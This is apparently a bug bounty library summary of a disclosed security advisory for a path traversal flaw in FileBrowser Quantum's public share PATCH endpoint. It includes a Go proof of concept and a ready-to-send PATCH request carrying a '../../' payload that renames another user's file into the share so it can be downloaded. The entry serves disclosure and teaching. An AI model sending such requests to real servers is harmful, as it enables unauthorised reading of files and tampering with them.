# FileBrowser Quantum: Path traversal in public share PATCH allows file ops outside shared directory

FileBrowser Quantum's public share PATCH handler joins user paths before sanitizing, letting anyone with a modify-enabled share link move/copy/rename files outside the shared directory.

- Payout: Research
- Severity: critical
- Program: FileBrowser Quantum
- Found by: fg0x0, Revanth011
- Disclosed: 2026-05-22
- CVE: CVE-2026-48777
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-qqqm-5547-774x
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-qqqm-5547-774x
- Tags: area:web domain:web impact:ato impact:data-leak impact:integrity kind:research platform:ghsa sev:critical tech:go technique:incomplete-fix technique:source-review vuln:access-control vuln:path-traversal

**Target:** Public share PATCH endpoint (/public/api/resources) in Go backend
**Root cause:** publicPatchHandler calls JoinPathAsUnix(d.share.Path, userPath) before SanitizeUserPath; filepath.Join collapses '..' so the later sanitizer sees a clean path and passes.
**Steps:**
1. Obtain a public share link with AllowModify=true (hash param).
2. Send `PATCH /public/api/resources?hash=<share-hash>` with JSON body `{"action":"rename","items":[{"fromSource":"default","fromPath":"../../bob/secret.txt","toSource":"default","toPath":"stolen.txt"}]}`.
3. Handler joins share path with fromPath/toPath via `utils.JoinPathAsUnix`, collapsing `..` to `/users/bob/secret.txt`.
4. resourcePatchHandler's `SanitizeUserPath` sees no `..` and passes; move/rename executes on the escaped path.
5. Download `stolen.txt` through the same public share to exfiltrate the file.
**How found:** Noticed the same join-before-sanitize pattern previously fixed for bulk DELETE (CVE-2026-48777) still present in publicPatchHandler, while publicPutHandler uses the safe sanitize-then-join order; confirmed with a standalone Go PoC replaying the exact helper sequence.
**Exploitation:** Unauthenticated attacker with a modify-enabled public share link renames/copies/moves files from anywhere in the share owner's source root into the shared directory, then downloads them via the share; or overwrites victim files with attacker-uploaded content.
**Escalation:** Read arbitrary files in source root via rename-then-download; integrity tampering by moving attacker files over victim files (configs, dotfiles, web roots).
**Insight:** When a traversal fix lands for one endpoint, grep for every other handler that calls the same join/sanitize helpers and check argument order — sibling handlers often retain the vulnerable order. Compare against a known-safe handler in the same file as a template.

## Proof of concept (copied exactly from the original report)

**Go PoC replaying join-then-sanitize traversal**

```
package main

import (
    "fmt"
    "path/filepath"
    "runtime"
    "strings"
)

// Verbatim from backend/common/utils/file.go
func SanitizeUserPath(userPath string) (string, error) {
    clean := filepath.Clean(userPath)
    for _, segment := range strings.Split(clean, string(filepath.Separator)) {
        if segment == ".." {
            return "", fmt.Errorf("invalid path: path traversal detected")
        }
    }
    if clean == "." {
        return "", fmt.Errorf("invalid path: path must standard index path")
    }
    return clean, nil
}

// Verbatim from backend/common/utils/main.go
func JoinPathAsUnix(parts ...string) string {
    p := filepath.Join(parts...)
    if runtime.GOOS == "windows" {
        p = strings.ReplaceAll(p, "\\", "/")
    }
    return p
}

func main() {
    sharePath := "/users/alice/shared/" // d.share.Path (server-controlled)
    attackerInput := "../../bob/secret.txt"

    // publicPatchHandler line 372: join BEFORE sanitize
    joined := JoinPathAsUnix(sharePath, attackerInput)

    // resourcePatchHandler line 794: sanitize the already-joined path
    sanitized, err := SanitizeUserPath(joined)

    fmt.Printf("attacker input: %q\n", attackerInput)
    fmt.Printf("after join:     %q\n", joined)
    fmt.Printf("sanitizer err:  %v\n", err)
    fmt.Printf("sanitized path: %q\n", sanitized)
}
```

**End-to-end PATCH rename traversal request**

```
PATCH /public/api/resources?hash=<share-hash> HTTP/1.1
Content-Type: application/json

{
  "action": "rename",
  "items": [
    {
      "fromSource": "default",
      "fromPath":   "../../bob/secret.txt",
      "toSource":   "default",
      "toPath":     "stolen.txt"
    }
  ]
}
```

